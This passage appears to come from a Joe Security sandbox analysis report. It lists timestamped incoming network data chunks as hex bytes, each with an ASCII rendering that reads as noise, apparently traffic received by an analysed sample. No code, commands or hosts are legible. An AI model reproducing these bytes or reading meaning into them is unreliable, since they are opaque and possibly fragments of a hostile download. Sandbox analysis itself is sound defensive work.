2022-02-08 23:07:10 UTC 205 IN Data Raw: ab 6d 5c a7 21 25 7c 39 21 2a f7 73 be cd 3c f8 f4 62 db 2b 7f 28 6c cc a4 bc ee 59 26 28 65 19 09 cb ee 59 f7 
a4 2d 99 34 67 af d1 1e ed 0f ca 91 a5 3e 41 d9 9f bc 3d 1a 5c 5f fe ac 90 dd b6 a0 bb 96 c1 63 78 1d 8b a5 32 de 4b 66 
b9 90 cb a1 33 68 cf 15 96 20 09 54 55 e0 ca 94 55 6b 91 1f 15 68 56 95 ed 6c e3 5e 66 24 ef 75 c0 1a d3 49 88 12 ef 9f 
d6 30 2d 5c 5d 90 e3 c1 9e 50 20 4a d6 86 ac 89 16 45 e6 4e c4 0d 20 c3 07 cd e3 4c 4f cd a3 4f 88 46 03 44 c2 80 ff 87 
02 43 74 47 0b c9 3c 52 20 3e 42 91 e3 fc 9c 7c 20 3c 5f 3a 0e 8b 94 b1 46 87 bf 68 78 bb 83 e3 30 24 64 60 bb 6c cb 87 
30 e7 83 30 d7 74 08 70 d0 97 8a ec 52 0a 16 ec 5d 81 5e eb cd 0a 1c c4 3e c8 df 07 ce d0 50 49 45 03 df 07 c2 e4 2c 49 
52 34 28 ca 81 f7 ea 09 42 7c a0 96 a5 9f 9c 40 db bc 
Data Ascii: m\!%|9!*s<b+(lY&(eY-4g>A=\_cx2Kf3h TUUkhVl^f$uI0-\]P JEN LOOFDCtG<R >B| <_:Fhx0$d`l00tpR
]^>PIE,IR4(B|@

2022-02-08 23:07:10 UTC 207 IN Data Raw: 4f 23 f5 23 cd b7 7e 63 e2 34 36 7a 69 7c 0c f1 29 71 30 cd ff bf 24 0f 3c 34 6a 80 db d7 ed c8 db 5c a5 dc 95 
37 06 f5 56 f4 2d d5 c4 37 ee 5e 8a b8 09 bd a1 4e 99 7e 62 c5 d7 f1 85 26 58 b9 b6 0d 47 2b 75 ce cc 65 fa 29 2f e2 b2 
12 04 02 20 d1 c7 89 6e 5e 20 6a e5 16 3b 41 d0 84 f8 82 98 bf d3 52 a2 83 ef 7a 7e 01 a7 6e f4 49 aa 45 29 8e 69 86 a2 
c6 5a 0d e2 fd 66 bb 6a 87 4d 7b a9 44 71 ad bc 51 b3 6e 80 87 e8 7b 42 44 10 7d f3 50 6a f8 30 93 a9 d3 35 bf 95 ef 4f 
94 55 2c 8c a8 83 58 99 6a 40 d3 d1 67 6b f5 69 a5 a8 7e 21 3a 4f dd aa 72 e0 3a 01 f9 a8 8d e6 4a 23 cd e1 c9 a1 51 63 
54 3d 51 e5 a4 37 d6 ad a0 bc 9e bd 2b f4 95 96 2f 4c 57 55 07 4e 58 5a 08 c5 12 c5 ef 0e 99 8f 58 e9 4a 19 cc 6b df 92 
82 c4 38 e8 09 86 17 fb ca 45 d4 b3 d3 ce 9c 89 23 fb 
Data Ascii: O##~c46zi|)q0$<4j\7V-7^N~b&XG+ue)/ n^ j;ARz~nIE)iZfjM{DqQn{BD}Pj05OU,Xj@gki~!:Or:J#QcT=Q
7+/LWUNXZXJk8E#

2022-02-08 23:07:10 UTC 209 IN Data Raw: 2b 26 e4 0e e8 a9 aa c0 71 a6 6b 03 f7 56 68 88 bf 5d 11 b4 7d 91 d2 88 ab 83 dd 4a 68 c5 de fd b4 4e 96 33 
41 41 57 f0 ca 07 5d 47 1a 3b 8b 67 17 f9 48 ec 5f 37 af e3 9e f4 93 35 ab f9 51 f6 97 37 1a 06 57 f4 91 44 50 8f 52 87 93 
8f d9 cf 94 04 93 54 5f 8f d9 e7 8c 04 93 5c 57 92 18 12 fc f0 93 50 d3 93 50 93 10 d3 f6 b7 d3 23 f5 3d 9b 10 72 75 9a 9b 
3a 67 11 d5 b4 53 9b 9d 8e d8 d1 1b a6 92 57 2b 8d d6 dd e8 4e 5d 93 66 7a 76 7a ef b9 b5 b6 9b b2 f3 bc 57 ff b9 7f 94 
3c f1 65 1f 72 67 b1 94 3c e9 85 16 47 6a 46 d5 84 41 c7 5c 47 82 37 5f c8 cc b1 77 43 82 27 a3 b3 88 ac e9 35 ac 27 a3 
b3 80 1b 75 60 8f d9 b6 26 8c 6e 38 ad cc c9 df 46 0f 42 9f e1 e8 a1 5c 6e a6 27 78 e8 56 2d 88 f9 dd 65 85 fd 5b 41 47 
3e 98 82 43 b8 a8 43 80 7b 6b 7f 56 50 63 bd 95 16 
Data Ascii: +&qkVh]}JhN3AAW]G;gH_75Q7WDPRT_\WPP#=ru:gSW+N]fzvzW<erg<GjFA\G7_wC'5'u`&n8FB\n'xV-
e[AG>CC{kVPc

2022-02-08 23:07:10 UTC 211 IN Data Raw: b4 63 6a b7 77 48 dd eb b4 8b 56 a3 34 58 dd ed a3 bf 4e 66 e9 0c 9d ed a1 c4 1f 96 62 03 dc 55 2a 3e f7 61 
1a 02 cb 27 19 b4 18 6f 89 7f 56 e2 4d 54 f5 fe 71 68 df d9 b2 ab 1c 29 a3 5b 16 15 75 69 11 d7 b6 97 d2 10 75 54 62 c8 
fe 1a 35 2f 6d d1 f6 ec 17 12 31 2f d4 2e e7 3b d3 ec 24 b0 9d 93 c3 23 56 50 00 a8 1e d0 db 23 56 1e 74 cb 96 dd f2 3b 
95 56 b8 bc 72 d5 33 f4 f2 06 bc ba 7d e1 2f 31 37 66 c8 ca 7f e6 2b 41 35 59 cc b2 b7 17 5f 73 3c 5d e8 94 d7 17 6f 73 
34 2b b9 ab 33 e9 7a ed 30 5e be 96 f2 9d 7d 55 da 2d 41 83 bb 28 83 40 45 c9 45 83 86 7f a2 08 7c 89 65 0f be 4a d2 d7 
fe b4 2a 3f 3e 77 e8 89 ef fc a6 1e 08 6f 29 56 0c e4 61 5e 27 7a 5c 62 1b 52 dd 5e cd e0 d8 9c 0e a0 e3 08 b8 7c 68 40 
38 af 28 bb 8b 19 fd 30 71 ef f2 30 b3 2c 45 fe 8f fa d2 
Data Ascii: cjwHV4XNfbU*>a'oVMTqh)[uiuTb5/m1/.;$#VP#Vt;Vr3}/17f+A5Y_s<]os4+3z0^}U-A(@EE|eJ*?>wo)Va^'
z\bR^|h@8(0q0,E

2022-02-08 23:07:10 UTC 213 IN Data Raw: 8d 76 cf 2d c5 64 44 63 4a 83 a7 48 8b 7a 64 8b 00 34 eb 6c e3 4d 28 ef 20 8e 03 ef d8 4d c0 64 90 46 4b 2c 
8b 6d a0 ea 48 ae 2b a2 40 e8 28 15 95 63 66 c3 60 a4 a5 00 4b 7a 03 c3 88 f1 4b cb a3 63 3e 08 60 4b f8 23 89 3d 3b 
e0 02 75 33 cb fb 22 f0 08 70 62 f7 8b e8 62 7c c1 77 85 b7 55 fc c5 98 c6 76 8d a3 41 3e 8c 28 09 2c 07 66 86 cb fc 4d 
de 31 3f 8e 55 7f b0 69 b6 06 f3 aa 75 c5 d8 8d 7c f9 e4 06 32 76 03 fd 19 27 f9 3e da ac b7 b1 3d 4f ff a2 16 72 f6 9e 2a 
4e 20 f9 55 8c e3 72 1b 5a e1 73 d9 99 6a 3d 56 7e 89 ba 1e 7d a2 6d 16 41 9e e6 58 ce 79 05 73 9b 83 c6 b0 10 cd 49 
57 f3 85 52 7c 5a 8d 6e 40 d8 f6 bb 83 1b 35 30 cb 10 7d 20 f7 04 f6 6e 78 e3 15 45 d8 ea 29 79 53 a2 b6 9e f0 29 f6 99 
63 b5 f6 12 2b b2 7d 58 b0 79 f6 12 03 aa 7d 58 b8 71 eb da 
Data Ascii: v-dDcJHzd4lM( MdFK,mH+@(cf`KzKc>`K#=;u3"pbb|wUvA>(,fM1?Uiu|2v'>=Or*N UrZsj=V~}mAXysIWR|Z
n@50} nxE)yS)c+}Xy}Xq

Timestamp
kBytes
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Direction Data
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2022-02-08 23:07:10 UTC 215 IN Data Raw: a0 2d 31 53 0b 4f ba 11 24 5c 79 d2 e7 d3 31 e0 65 9b 3b 62 2d a1 b9 2a 36 e9 88 01 63 ac 4b c2 e1 d0 e0 01 
22 13 6b 4f ac 07 9b 5e 2a 4f 9f 75 a3 03 5c b6 53 00 d7 f8 dd 14 50 b2 63 00 db f8 e5 74 50 b2 63 08 db f8 e5 0c e7 2e 
98 79 25 ed 1e 89 19 62 50 07 6d ed 1e 81 79 a5 0a c9 71 a1 8c 19 b3 63 4f da 16 e4 05 64 c2 6b 4f da 2e e4 05 64 da 
6b 4f da 3e 40 b2 65 fd 83 f4 66 4b 49 bc 6a 60 d5 f9 a9 a3 fd 78 d3 04 3e bb 10 38 e8 b2 65 fa 2b 35 2d 7c 2f be 65 ea 
5b 39 2f 55 bc c2 a0 1f 03 25 53 94 4d ab 27 1a 05 a6 a0 50 ba 41 4b 1a 0d a6 a8 31 99 6c 6b f2 d1 60 40 15 94 a3 83 9e 
da 2d f7 b5 72 f9 34 76 fd b7 6b 91 ee 74 a8 52 64 3c 30 b1 ee 74 80 5a 64 3c 38 a9 ee 74 18 2b 72 f6 85 b5 72 f9 8a 3e 
3a fe 01 74 a1 35 8a 3e 0a e6 01 74 b9 3d 95 ff f9 12 36 7d 
Data Ascii: -1SO$\y1e;b-*6cK"kO^*Ou\SPctPc.y%bPmyqcOdkO.dkO>@efKIj`x>8e+5-|/e[9/U%SM'PAK1lk`@-r4vktR
d<0tZd<8t+rr>:t5>t=6}

2022-02-08 23:07:10 UTC 247 IN Data Raw: 30 50 24 84 f3 16 27 32 26 2a f1 b6 4a e8 32 fe da 3b 48 75 19 f8 8b f2 51 fb a0 b2 55 c7 9c 39 1d 58 7b ca 96 
18 7c 29 0a 18 f7 63 95 ff 3c e8 df 50 db 3b 54 1a 6c dc 8f 8e ee 49 0d 1a 65 09 22 b9 ee 41 38 c3 1e 82 fb 00 94 ca c1 
8a 34 f9 4a c2 1d d2 33 70 de 11 b8 3e 51 f6 3b bc 2a b5 f8 7f e9 3e b0 6c c2 5a 5a af 01 d1 14 20 e6 52 3f ea 0c 91 fc ac 
0f 5d bb 19 cd 9e 78 25 c6 52 3f a5 04 91 fc 99 0f 5d bb 7a cd 9e 78 46 c6 52 3f 82 04 91 fc be 0f 5d bb 93 cc 9e 78 af c7 
52 3f db 04 91 fc e7 0f 26 63 db 04 91 82 e7 0f 27 fb 1d 8f c4 4c 6b 75 44 97 dc 06 cf d9 0b eb 40 91 0f 60 08 99 24 97 cd 
5a e7 bd 1b 98 24 7e 90 d6 ab 99 13 fd 8d 73 d0 3e 06 3d 5f d9 85 ba 93 ad b6 91 d7 44 75 52 5c 0a fa b5 df 85 b2 8e f4 
3c 5b 4d 37 7c e3 96 f4 b0 a4 38 c8 8c 98 42 
Data Ascii: 0P$'2&*J2;HuQU9X{|)c<P;TlIe"A84J3p>Q;*>lZZ R?]x%R?]zxFR?]xR?&c'LkuD@`$Z$~s>=_DuR\<[M7|8B

2022-02-08 23:07:10 UTC 249 IN Data Raw: 81 5f b3 45 02 99 70 86 88 d1 42 0c c0 fa cd 44 f1 c6 1b c8 95 04 d8 43 dd 53 3f c8 1b 90 fc 43 53 9b c0 95 b6 
f0 02 56 46 e8 8d 1e 45 63 cb 1d f3 a7 3b 1e d9 c7 f8 dd 1a 8f bf 3a 89 49 7c f9 06 89 7f b9 2a 4c c8 53 16 40 7e 76 98 08
75 fd d2 97 92 0e 22 86 14 fe 21 0c 5c f3 25 8b bb 18 e2 48 78 db 69 02 cf 3c 8a 3e 19 90 ec fc da b8 35 73 92 b5 c5 62 
62 bf 4e 28 fd 58 a5 2c 7a bf 46 eb b9 7c 85 d7 6f 94 e3 15 ac 1f ab 2e 27 59 a8 99 7b d2 e6 0e 9c 51 6d 46 97 55 ea a1 
24 9d 29 72 e7 a1 ff c4 80 63 3c 82 83 d4 7a 09 cd 43 9d 8a 46 0b 91 01 0c 64 76 02 cf a7 b5 3e 19 47 d3 fc da 01 d0 30 
9d a5 ec 0c a1 2e a4 00 9d f8 35 67 5f 3b 75 5c 63 f7 23 5c 2b f7 ac 12 74 10 7f d4 b7 d3 f5 9c 2f 00 7f d4 87 db f5 9c 37 
38 7f d4 8f d3 f5 9c af 51 68 9c 24 1b f7 7b ef 
Data Ascii: _EpBDCS?CSVFEc;:I|*LS@~vu"!\%Hxi<>5sbbN(X,zF|o.'Y{QmFU$)rc<zCFdv>G0.5g_;u\c#\+t/78Qh${

2022-02-08 23:07:10 UTC 251 IN Data Raw: f1 fc a2 53 7a b4 6a 6f ac 5e 36 ad 6f 76 fe d7 ae b4 3d 14 92 62 02 4a 50 a1 f2 49 78 67 89 8b bb a4 4a 00 f3 
3b ad 93 78 73 1a 74 e3 f8 5a 73 60 64 5a 7c 6f 6b d9 ec e4 2b f6 0f 6f 63 ec 84 27 a9 67 ca a5 95 ec 8a 9e ab 58 4f a2 
7d 7f 12 60 be f4 5a e8 75 7f 14 6a 49 f4 54 51 77 40 91 6d a1 53 cc af 62 d8 8c a8 81 40 8c a7 8e c3 1c 2c ce ec 9f a7 
86 32 f7 a4 47 f1 70 ec 46 7a 38 fe cd 34 b7 19 2e 1f f3 c3 ed dc 78 8d 62 3b 9b a6 88 e2 58 65 44 96 5b 4d 96 6c 9b fb 
5c 16 59 38 9f d5 fc 72 17 2c 77 3a 8f df fc 7c 97 69 d5 57 41 af 16 94 ca ef 11 17 52 ef 1e 18 5d 64 56 1f d6 2e cd d4 5d 
64 7e 07 d6 2e c5 dc 40 ac 52 5e d6 2e c7 dc 42 a5 89 77 20 2e cb 58 33 ed 08 9b b8 a5 32 1d f0 96 7a 04 8d 6a b9 c7 
4e e1 f7 49 35 11 e6 ce 7d 14 60 02 09 2e 65 84 7d ed 
Data Ascii: Szjo^6ov=bJPIxgJ;xstZs`dZ|ok+oc'gXO}`ZujITQw@mSb@,2GpFz84.xb;XeD[Ml\Y8r,w:|iWAR]dV.]d~.@R^.Bw 
.X32zjNI5}`.e}

2022-02-08 23:07:10 UTC 253 IN Data Raw: c0 3f 6d 86 4b 77 78 0d 03 7f 53 ad c8 bc 90 85 08 fc 9b b9 83 b4 04 5e 10 3f 4c e9 f7 a4 c7 a9 f0 27 5b a9 ff 
28 d8 39 74 68 f7 da 3c a2 7d 92 27 9e ab 9e 7d 5c 68 11 33 92 bb 6b f2 51 4b 7a 78 19 41 3a c2 92 83 8c 05 68 41 3b 
d2 e7 0f fd eb e3 ce 3e 60 a3 cc 9d 5c a2 46 65 57 1c 9a 4d 76 97 3a 4c f4 ec f3 8f 37 2f 78 c1 f8 ac f3 c3 da 6a 72 8b 4d 
a0 e9 02 05 2f 23 91 39 3f a8 d1 3e dc 30 d1 31 d3 bb 9b ae 34 70 10 e4 9b 97 c3 6f d1 20 24 b4 45 a2 b3 36 d3 20 26 b4 
47 ab 66 9b a4 20 26 65 f3 5b e7 a6 30 d1 af 9d b7 99 9e 12 ff bb 28 c0 85 78 eb 13 46 53 27 bc 85 90 ac f6 43 2b d7 37 
80 ad 9f d8 67 2f df f5 a0 ad 97 fb 9c 7b 7b a1 5e b8 8b 8f d5 f6 55 c2 ae 37 96 8a 9d bc d8 5c 3b c7 19 9f c1 77 3a 53 87 
07 f9 90 44 47 41 7b 86 8b 07 11 45 48 c4 9a e5 4e 
Data Ascii: ?mKwxS^?L'[(9th<}'}\h3kQKzxA:hA;>`\FeWMv:L7/xjrM/#9?>014po $E6 &Gf &e[0(xFS'C+7g/{{^U7\;
w:SDGA{EHN

2022-02-08 23:07:10 UTC 255 IN Data Raw: 48 b4 a8 11 00 3f 7b 9a 4a b1 6f 11 02 3a b4 9a 48 b4 a8 11 00 3f 4b 9a 4a b1 6f 11 02 3a 84 9a 4a b9 77 11 
00 3f 43 9a 48 be b8 11 02 30 94 9a 4c be 90 e3 32 7c 53 20 b9 36 d5 1c 92 74 ec 20 ae 32 ef 96 7f b9 a7 9e 43 6f ac d3 
81 ac 27 9b 89 90 f1 87 c4 52 32 08 8a 0d d5 0b 49 ce 16 81 01 56 f5 0b 49 e6 1e 81 01 c6 9c 1c 9d 58 9c 13 92 57 17 5b 
95 dc 5d c0 5e 57 17 6b 8d dc 5d d8 6e 48 d6 98 41 bb 96 3b 9a 78 66 23 18 30 5d a8 50 01 d6 e0 7a 87 90 e3 c7 76 1b 
a3 60 91 f8 60 e7 d9 fc eb 47 c9 73 a5 c8 2e e0 2e 80 20 67 c6 80 ab a7 d3 bc 7d 40 9e 7e be 06 9d c9 50 4e 1a 2e c3 08 
19 99 25 c8 02 61 39 77 0f 21 32 4b f7 3d fe cd ec 75 fe 46 a4 ea 19 c5 2f a2 b6 22 a4 29 fe 95 43 b2 75 d5 44 41 e9 d5 
04 4a d5 fd 21 45 da 76 6b da 3d bd e0 90 92 5a 33 05 06 d8 
Data Ascii: H?{Jo:H?KJo:Jw?CH0L2|S 6t 2Co'R2IVIXW[]^Wk]nHA;xf#0]Pzv``Gs.. g}@~PN.%a9w!2K=uF/")CuDAJ!Evk=Z3

2022-02-08 23:07:10 UTC 257 IN Data Raw: 5c a8 f5 3e 9f 6b 7e 76 97 40 6d cb 54 83 e6 83 4f 08 a0 80 f8 ce 2b bc f8 78 ef 37 b6 a6 4a 78 74 65 c0 30 79 
e7 c4 f5 2e 24 07 36 12 f2 d8 73 d0 31 5a 3b 55 f6 d1 73 59 bc 17 df b4 7c d4 5d fd e9 13 76 a0 b1 2f 4a 22 f8 ba 81 a9 
b0 b6 aa f8 e8 8a 96 7a 24 fe 03 b5 af b6 0f 9e 71 e9 33 a2 fa a1 e5 87 be 63 26 0c f6 6f ad 0e cf 8c 86 17 97 b0 ba 5f 41 
9f ff 9d 82 14 b7 91 a9 1b ef ad 95 53 39 a8 d1 91 fa 23 99 9d d1 5e c1 a1 ed dc 89 b7 66 94 85 9c 16 cc b9 a0 99 82 7f 
8f d1 40 bc 01 99 4c c5 c2 5b 8f 06 49 13 82 8d 03 8c 65 66 8c c6 c2 81 6f ed cf 1d ac 2e 44 5d a7 12 cf 61 a4 51 30 a4 
67 e7 04 de 9e 24 c7 1d 15 6c d2 e5 17 a0 5e e7 9c e8 52 60 d4 eb 79 86 8c d7 45 0d c4 d9 6e cb 06 1a ad 40 4e 85 4a 
e3 c5 cd e5 04 6e 46 ad b3 89 fd 26 f3 8e 0e a4 6f 0c 
Data Ascii: \>k~v@mTO+x7Jxte0y.$6s1Z;UsY|]v/J"z$q3c&o_AS9#^f@L[Iefo.D]aQ0g$l^R`yEn@NJnF&o

2022-02-08 23:07:10 UTC 259 IN Data Raw: ab 31 b3 47 08 ba f3 40 9b 26 f3 4f 94 29 70 df 1f 69 5f 5c 94 21 81 ac e7 e0 42 2b af e1 c9 63 bd 6a 87 ec 5a 
89 ac c8 60 b5 90 43 2e 3a 77 a0 05 70 4e 9c 39 80 5f 50 4d 8b 77 bb b7 1b b0 0c 6b 5b 08 df aa ed c3 13 de ef 39 93 09 
58 f4 d3 b1 8b 34 65 79 47 40 67 83 c7 97 d1 43 8d 07 16 c8 c5 9f fd 43 83 87 4b 53 08 c7 4c d0 90 c7 43 df 9f 4c 09 40 
78 87 9d cb 38 a8 0e 4c 70 a9 85 04 62 22 cb 8b 85 d1 e0 ce bf ed dc 45 f1 62 3b b6 da 89 02 8a e6 0b 79 43 25 c8 ba b3 
2f 04 ce a8 67 14 e5 2d a4 d7 26 a6 ec ec ad e6 d7 d0 1a 03 fc 2f d8 c0 3f ad a2 00 fc 6e 61 86 0c 6d ea ce 00 25 f9 ca 
87 c2 12 0b 44 01 d1 41 db e6 32 6a 49 de 0e 56 61 11 46 46 1b c7 85 85 d8 ec f5 d0 e4 d0 7e 98 7b 37 dd 13 3b 30 4e 
8f 3b bb 06 88 b0 f1 9d 43 3b bb 36 90 b0 f1 85 4b 24 73 
Data Ascii: 1G@&O)pi_\!B+cjZ`C.:wpN9_PMwk[9X4eyG@gCCKSLCL@x8Lpb"Eb;yC%/g-&/?nam%DA2jIVaFF~
{7;0N;C;6K$s

2022-02-08 23:07:10 UTC 293 IN Data Raw: 56 c3 70 df 1c 84 97 54 dd 47 54 df 97 c0 b3 24 1c 8e f4 c3 a7 49 37 00 57 58 c7 0a 53 1f 20 89 92 dc e3 4b 
51 1f 20 c0 1b 98 c7 23 1f 1f 20 d0 dd dc e3 13 e1 0a 14 aa 23 c9 9f e2 af 2a 14 ac 38 cd e7 87 91 12 25 44 d7 11 93 d4 
5c 59 1f 37 d7 17 48 d0 54 d6 8b 13 7f 40 54 d1 bc 06 57 66 4f 8d 1f ea ac 0b ef e0 2b 43 ea 6b 63 55 d6 bd 22 ef 14 7e 
62 d4 28 c8 87 e8 fe cc 3d 2a 3d 32 cd ce fe f1 7b 14 84 da bb d7 47 e6 6d d9 f2 24 ae e5 24 68 1b 27 e7 90 1b eb a6 00 
27 d7 9a 8f 69 88 7d 1c ae 4b be 96 e6 d3 6d 1c ae 7b b6 96 e6 cb 55 1c ae eb c9 1c a1 e4 42 5c 8e 6f c9 1c 70 0c ad dd 
b3 cf 1a 29 34 87 1b a2 7c 95 90 ec f3 72 73 c7 0a 40 4f fb 81 0e c0 1c 62 25 df 2e 5e 19 54 66 88 a7 30 a7 4b 2d 70 ac 
77 a7 4c af f6 e4 b3 6e 35 52 86 a2 41 59 ad 4a cb 9a 6e 
Data Ascii: VpTGT$I7WXS KQ # #*8%D\Y7HT@TWfO+CkcU"~b(=*=2{Gm$$h''i}Km{UB\op)4|rs@Ob%.^Tf0K-
pwLn5RAYJn

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 52 of 191



2022-02-08 23:07:10 UTC 297 IN Data Raw: 31 04 fe c2 c1 23 b0 4f 34 08 77 be f7 cb fc f0 78 2c 07 72 03 ef c0 b1 c0 64 88 a1 4f 2c b3 8a 62 06 8f b6 2c 
9b 44 3c 6c 96 78 b7 22 19 9f 4c 09 37 b5 70 35 7f a6 88 35 b3 ea ce f5 70 29 02 b2 ed e9 c1 71 ab ea 0d 36 4a 2e ce f5 
76 27 02 b2 4e e6 c1 71 72 ef 0d 36 d9 2e ce f5 e5 27 02 b2 05 e6 c1 71 39 ef 0d 36 f9 2e ce f5 c5 27 02 b2 1a e5 c1 71 
26 ec 76 eb 1a e5 c0 86 91 ab 4f 61 6a 80 17 4b 56 bc 5d cc b1 4f 1b cf 07 94 90 87 51 c7 50 44 92 4c 18 c8 79 c2 50 ce 
52 3d de 0d 91 bf 96 3b b9 f8 d6 00 7b 34 90 b8 47 08 ac 37 e7 4e c7 f7 24 8d 4c bf 72 ee 8c 7c b1 65 c4 f0 5a 4e 10 7e 
99 8d 58 08 f2 4d 9b cb d8 d7 a7 f7 e4 5c e9 78 03 cf 19 69 81 b4 da ae 42 77 f1 f7 c7 b4 32 7c 89 23 d5 ef 02 6d 5a 08 f9 
ef 21 cb 3e 2c e2 e0 00 06 de dc 8b 4e 5a 37 04 06 
Data Ascii: 1#O4wx,rdO,b,D<lx"L7p55p)q6J.v'Nqr6.'q96.'q&vOajKV]OQPDLyPR=;{4G7N$Lr|eZN~XM\xiBw2|#mZ!>,NZ7

2022-02-08 23:07:10 UTC 299 IN Data Raw: 0f 79 3a 36 84 b9 31 bd 44 aa fd 57 ce 99 76 6b c6 2f 02 43 0d a0 4a 46 26 a2 cc 85 e5 2d 82 da 02 be 45 19 
c1 34 0d 81 32 be 45 31 c9 34 0d 89 42 be 45 a9 c0 22 c7 34 42 bc 45 ab dc bc ce e3 56 47 e4 87 74 7b d8 88 7b 74 5b 
18 f0 34 74 fb be f3 e5 70 f6 e9 af f2 11 93 6c 11 d2 50 94 13 1e df 96 59 9e 38 50 9a 59 fb 93 d4 96 78 b8 84 b5 44 84 fd 
76 83 47 3e fd cb 4c b5 b7 4b b7 9e a2 69 8b a2 29 21 03 59 50 e2 c4 9a 93 69 8e 5a b8 6f ac 66 84 e4 e4 ee 7f 9d 27 29 
bc 5e ac 63 3c 95 87 13 1e a9 bb 5b 8e 4e 30 13 06 b5 bb 59 86 66 90 39 a4 5a ac 71 34 bd 27 39 bc 46 ac 73 3c 9d 87 
23 1e a1 bb 6b 8e 46 30 23 06 bd bb 69 86 56 90 29 a4 6a ac 69 04 89 6f e2 4e 09 9c 69 0e 0e 7f f1 0e 01 f4 bb 91 e6 3f 
30 db 51 d8 e3 50 1b 67 04 b3 8d e5 91 31 19 6e d9 1e 92 2e 
Data Ascii: y:61DWvk/CJF&-E42E14BE"4BEVGt{{t[4tplPY8PYxDvG>LKi)!YPiZof')^c<[N0Yf9Zq4'9Fs<#kF0#iV)jioNi?
0QPg1n.

2022-02-08 23:07:10 UTC 301 IN Data Raw: a0 73 6b 60 a2 3b 78 ea ea 32 f3 aa ed d9 d9 da 84 e5 e5 92 97 6f ad 9b 1c 2f aa 70 36 75 81 4c 0a 35 bb d4 
c6 71 d4 17 05 b2 18 50 58 71 db 93 18 5b 4a 5f 5f 1f 89 9c 9c 23 83 2b 2a 1f 89 9c 8a 23 83 2b 06 1f 89 9c f3 23 83 2b 
19 1f 89 9c fa 23 83 2b 29 1f 89 e7 6f 27 4a 24 ac a1 ba 2e 86 9b 84 12 ba 1d 74 18 3c 53 f6 da 16 a1 ce e6 2a 27 3e ec 
02 65 b8 1c 08 e3 f6 9e ca cb b3 11 84 0d 8c ba b8 31 c4 a9 32 79 cd 22 72 7e 26 08 6b 6d 1a 34 e0 23 d4 10 4b 1f e8 
9b 0b 18 03 b1 ee bf 3f 8d a6 ac b5 c5 af 27 f5 c2 44 0d aa 65 78 31 e2 76 f2 79 eb fd b2 7e 00 d7 63 de 3c eb 2b cd b6 
a3 22 46 f6 a4 c9 6c 91 b8 f5 50 17 48 f6 7a 5a 70 ca 46 1a 5a 55 f1 aa 66 5f 46 32 5a 55 f1 a3 1a 7f 36 14 e0 43 3c a3 
13 7f 36 14 ce 43 3c a3 02 7f 36 15 a1 fd 4d a9 62 3e 8f 83 
Data Ascii: sk`;x2o/p6uL5qPXq[J__#+*#+#+#+)o'J$.t<S*'>e12y"r~&km4#K?'Dex1vy~c<+"FlPHzZpFZUf_F2ZU6C<6
C<6Mb>

2022-02-08 23:07:10 UTC 303 IN Data Raw: a0 6c 93 e6 e1 2d db 6f a5 09 ab 27 1d 4b e9 65 5f 09 ab 27 1d 41 22 63 39 39 6a a4 bd 1d ea a4 bd 1d ea a4 
bd 1d a2 63 39 39 2a 63 39 39 2a 63 39 39 62 a4 bd 1d f2 a4 bd 1d f2 a4 bd 1d ba 63 39 39 22 63 39 39 22 63 39 39 6a 
ee bd 1d ca ee bd 1d 82 65 45 2e 42 dc 6d 2e 42 dc 9e 84 aa af 9c 84 aa e7 15 c0 8e b7 9e 84 aa c7 bb 7b 55 38 bb 46 
14 79 fa 46 61 63 71 02 45 1b 54 fd ba e4 54 c0 f8 a6 16 c0 8d ac 5e 4d c1 88 2e a5 15 8a 2e a5 5d 07 62 81 2d ef 38 87 
2d ef bd 47 58 e5 f5 ca 14 c1 85 22 b8 c7 85 22 f0 4c c1 06 a0 04 a2 46 9c 4c 29 0a b8 1c 61 09 70 54 ea c8 38 dd ae ec 
00 95 25 a8 24 ad 2a 1f 64 bb 0f 1f e4 bb 0f 22 e4 3b 0f 22 91 31 c8 66 b5 79 88 66 b5 79 63 6e 72 3d 47 26 76 3d 47 26 
32 b6 0b 02 7a fa 80 46 5e aa c8 cd 0a 8e f0 85 87 c2 d4 f5 6f 
Data Ascii: l-o'Ke_'A"c99jc99*c99*c99bc99"c99"c99jeE.Bm.B{U8FyFacqETT^M..]b-8-GX""LFL)apT8%$*d";"1fy
fycnr=G&v=G&2zF^o

2022-02-08 23:07:10 UTC 305 IN Data Raw: 12 c8 de e5 56 ec bc 9c 90 a8 98 ff d5 6e dc db b1 16 1a 9f 95 73 5b 59 d1 57 3d 59 17 13 19 11 41 d5 5d 35 
08 bc 9b 71 2c f6 e9 b7 68 d2 a2 c3 ae 96 86 8f db 50 c2 ab 96 31 04 ef b2 7f 68 29 f6 5b 27 68 30 1f 03 38 5c d9 47 1c 
0d b5 81 58 29 e7 ee 9e 6d c3 bd fd ab 87 99 a9 ab 41 dd 8d c3 17 1b c9 e7 7e 72 0f a3 5a 18 7d 65 1e 3c 16 11 d8 78 
32 7d ad be 76 59 c0 df b0 1d e4 b1 dc db a0 95 b3 8b 66 d1 97 fb 14 17 d3 df 65 78 15 9b 41 0a 61 5d 05 2e 12 38 c3 6a 
36 4c a0 ac 72 68 d5 d8 b4 2c f1 ae b4 64 7c e2 90 4c 34 69 14 68 a4 69 14 68 5b 79 5c e1 1f 5d 7c a9 92 09 58 91 da 82 
14 b5 fa ca 9f 31 de 5a 9f 31 de a5 cf 39 96 2e 43 1d 06 2e 43 1d 4e a7 02 0d 06 2a 56 29 5e 62 dd 65 7a 42 95 ee fe 66 
05 ee fe 66 fa be f6 2e 71 32 d2 be 71 32 d2 f6 f8 73 ca be 
Data Ascii: Vns[YW=YA]5q,hP1h)['h08\GX)mA~rZ}e<x2}vYfexAa].8j6Lrh,d|L4ihih[y\]|X1Z19.C.CN*V)^bezBff.q2q2s

2022-02-08 23:07:10 UTC 307 IN Data Raw: 23 d7 9d 0c e3 d2 d5 87 af f6 9d cf 22 72 9c 47 22 72 9c 0f ab 36 b8 17 e3 bd fc 33 fb 3e 84 37 fb 31 00 0c f9 
31 00 44 72 75 24 5c f9 75 6c d7 b5 51 2c 9f b6 99 64 14 77 d1 ed 50 53 c1 a5 db 17 e5 b5 58 6f e1 b5 57 eb f4 b7 57 eb 
bc 3c 13 cf ac b7 13 87 27 fb 37 c7 6f f8 ff 8f e4 39 b7 06 a0 1d bf 4e 2b 59 9b 5e a0 19 9f 16 23 f1 97 25 f1 48 95 25 f1 
48 dd d2 00 00 54 96 24 18 1c 1d 60 3c 0c 55 e3 fc 04 1d 6a f8 20 55 e1 bc 04 4d a9 35 40 69 81 7d cb 2d a5 65 83 d2 
